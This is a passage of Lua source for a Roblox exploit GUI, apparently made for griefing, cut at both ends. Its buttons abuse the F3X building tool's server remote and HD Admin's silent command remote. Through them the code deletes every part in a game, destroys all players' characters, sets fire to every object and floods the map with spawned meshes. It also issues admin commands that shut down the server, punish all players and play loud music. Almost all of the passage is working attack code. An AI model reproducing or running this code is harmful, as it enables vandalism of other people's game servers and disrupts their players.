SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "111891702759441") SetTexture(v, id) MeshResize(v, Vector3.new(8000, 8000, 8000)) end end end local function createRainToads() while true do wait(0.3) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "MiniToad") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(100, 100, 100), v.CFrame) MeshResize(v, Vector3.new(4, 4, 4)) SetMesh(v, "5038530279") -- Here put it A custom mesh SetTexture(v, "5038530309") -- X2 SetCollision(v, false) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" sound.Volume = 10 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("201208408") end) sky.Name = "sky" sky.Parent = TextLabel_4 sky.BackgroundColor3 = Color3.fromRGB(0, 0, 0) sky.BorderColor3 = Color3.fromRGB(0, 53, 11) sky.Position = UDim2.new(-0.241176382, 0, -46.5, 0) sky.Size = UDim2.new(0, 47, 0, 39) sky.Font = Enum.Font.SourceSans sky.Text = "SkyBox" sky.TextColor3 = Color3.fromRGB(255, 255, 255) sky.TextScaled = true sky.TextSize = 14.000 sky.TextWrapped = true sky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("9422866248") end) shut_2.Name = "shut" shut_2.Parent = TextLabel_4 shut_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) shut_2.BorderColor3 = Color3.fromRGB(0, 53, 11) shut_2.Position = UDim2.new(-0.241176382, 0, -32.7142868, 0) shut_2.Size = UDim2.new(0, 99, 0, 39) shut_2.Font = Enum.Font.SourceSans shut_2.Text = "Leave & Shutdown" shut_2.TextColor3 = Color3.fromRGB(255, 255, 255) shut_2.TextScaled = true shut_2.TextSize = 14.000 shut_2.TextWrapped = true shut_2.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";shutdown k00p has destroyed this server lool") end) musicbypas2.Name = "music bypas 2" musicbypas2.Parent = TextLabel_4 musicbypas2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas2.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas2.Position = UDim2.new(0.417294145, 0, -22.6428566, 250) musicbypas2.Size = UDim2.new(0, 99, 0, 39) musicbypas2.Font = Enum.Font.SourceSans musicbypas2.Text = "they gon rumble" musicbypas2.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas2.TextScaled = true musicbypas2.TextSize = 14.000 musicbypas2.TextWrapped = true musicbypas2.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 7795812961") end) rain.Name = "rain" rain.Parent = TextLabel_4 rain.BackgroundColor3 = Color3.fromRGB(0, 0, 0) rain.BorderColor3 = Color3.fromRGB(0, 53, 11) rain.Position = UDim2.new(-0.864705801, 0, -32.7142868, 0) rain.Size = UDim2.new(0, 99, 0, 39) rain.Font = Enum.Font.SourceSans rain.Text = "Fire all" rain.TextColor3 = Color3.fromRGB(255, 255, 255) rain.TextScaled = true rain.TextSize = 14.000 rain.TextWrapped = true rain.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer end) r6.Name = "r6" r6.Parent = TextLabel_4 r6.BackgroundColor3 = Color3.fromRGB(0, 0, 0) r6.BorderColor3 = Color3.fromRGB(0, 53, 11) r6.Position = UDim2.new(-0.970588207, 0, -52.4285736, 0) r6.Size = UDim2.new(0, 53, 0, 24) r6.Font = Enum.Font.SourceSans r6.Text = "R6" r6.TextColor3 = Color3.fromRGB(255, 255, 255) r6.TextScaled = true r6.TextSize = 14.000 r6.TextWrapped = true r6.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";R6 me") end) parts.Name = "parts" parts.Parent = TextLabel_4 parts.BackgroundColor3 = Color3.fromRGB(0, 0, 0) parts.BorderColor3 = Color3.fromRGB(0, 53, 11) parts.Position = UDim2.new(-0.864705861, 0, -43, 0) parts.Size = UDim2.new(0, 98, 0, 39) parts.Font = Enum.Font.SourceSans parts.Text = "Particles" parts.TextColor3 = Color3.fromRGB(255, 255, 255) parts.TextScaled = true parts.TextSize = 14.000 parts.TextWrapped = true parts.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Sparkles" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer end) shed.Name = "shed" shed.Parent = TextLabel_4 shed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) shed.BorderColor3 = Color3.fromRGB(0, 53, 11) shed.Position = UDim2.new(0.405427098, 0, -22.9285717, 0) shed.Size = UDim2.new(0, 97, 0, 39) shed.Font = Enum.Font.SourceSans shed.Text = "Shedletsky" shed.TextColor3 = Color3.fromRGB(255, 255, 255) shed.TextScaled = true shed.TextSize = 14.000 shed.TextWrapped = true shed.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("172423468") end) avatar.Name = "avatar" avatar.Parent = TextLabel_4 avatar.BackgroundColor3 = Color3.fromRGB(0, 0, 0) avatar.BorderColor3 = Color3.fromRGB(0, 53, 11) avatar.Position = UDim2.new(-0.229823396, 0, -17.8571434, 75) avatar.Size = UDim2.new(0, 99, 0, 39) avatar.Font = Enum.Font.SourceSans avatar.Text = "Avatars" avatar.TextColor3 = Color3.fromRGB(255, 255, 255) avatar.TextScaled = true avatar.TextSize = 14.000 avatar.TextWrapped = true avatar.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";Char me k00pkiddalt") end) avatar_2.Name = "avatar" avatar_2.Parent = TextLabel_4 avatar_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) avatar_2.BorderColor3 = Color3.fromRGB(0, 53, 11) avatar_2.Position = UDim2.new(0.387823671, 0, -17.8571434, 75) avatar_2.Size = UDim2.new(0, 99, 0, 74) avatar_2.Font = Enum.Font.SourceSans avatar_2.Text = "Realm" avatar_2.TextColor3 = Color3.fromRGB(255, 255, 255) avatar_2.TextScaled = true avatar_2.TextSize = 14.000 avatar_2.TextWrapped = true avatar_2.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") wait(0.4) RequestCommand:InvokeServer(";punish all") wait(0.1) local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local function deleteall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() delete(v) end) end end end deleteall() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";fogcolor black ;time") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmaterial(part,mate,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } serverendpoint:InvokeServer(unpack(args)) end local function transparency(part,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = trans } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshid(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function makemesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshsize(part, vectora) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = vectora } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshtexture(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function setanchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } serverendpoint:InvokeServer(unpack(args)) end local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function makerealmbase() local position = CFrame.new(0, 5, 0) local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) resize(base, Vector3.new(512, 16, 512), position) syncmaterial(base, Enum.Material.Concrete) color(base, Color3.new(0.513725, 0.513725, 0.513725)) name(base, "loltroll") lock(base, true) local spawnpos = CFrame.new(34.5, 8.1, -26) local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace) resize(spawna, Vector3.new(20, 10, 20), spawnpos) name(spawna, "SpawnLocation") lock(spawna, true) createdecal(spawna, Enum.NormalId.Top) setdecal(spawna, "12165709661", Enum.NormalId.Top) transparency(spawna, 1) local pos = CFrame.new(74.143, 24, -25.232) local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(rules, 0) setcollision(rules, false) createdecal(rules, Enum.NormalId.Left) setdecal(rules, "103516240291943", Enum.NormalId.Left) color(rules, Color3.new(1, 1, 1)) resize(rules, Vector3.new(4, 23, 37), pos) local pos = CFrame.new(1.143, 24, -25.232) local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(bad, 1) setcollision(bad, false) createdecal(bad, Enum.NormalId.Right) setdecal(bad, "12165709661", Enum.NormalId.Right) resize(bad, Vector3.new(4, 23, 37), pos) end local function sky() local position = CFrame.new(0, 5, 0) local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) makemesh(sky) syncmeshid(sky, "111891702759441") syncmeshtexture(sky, "9820931824") syncmeshsize(sky, Vector3.new(20000, 20000, 20000)) lock(sky, true) name(sky, "kn000pezzzzz") setcollision(sky, false) end local function unanchorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() setanchor(v, false) end) end end end local function realm() sky() makerealmbase() end realm() RequestCommand:InvokeServer(";res all") wait(0.3) RequestCommand:InvokeServer(";r6 all") RequestCommand:InvokeServer(";time 12") wait(8.9) RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04") end) shut_3.Name = "shut" shut_3.Parent = TextLabel_4 shut_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) shut_3.BorderColor3 = Color3.fromRGB(0, 53, 11) shut_3.Position = UDim2.new(0.75, 0, -50.0718575, 0) shut_3.Size = UDim2.new(0, 53, 0, 24) shut_3.Font = Enum.Font.SourceSans shut_3.Text = "Get F3X" shut_3.TextColor3 = Color3.fromRGB(255, 255, 255) shut_3.TextScaled = true shut_3.TextSize = 14.000 shut_3.TextWrapped = true shut_3.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local 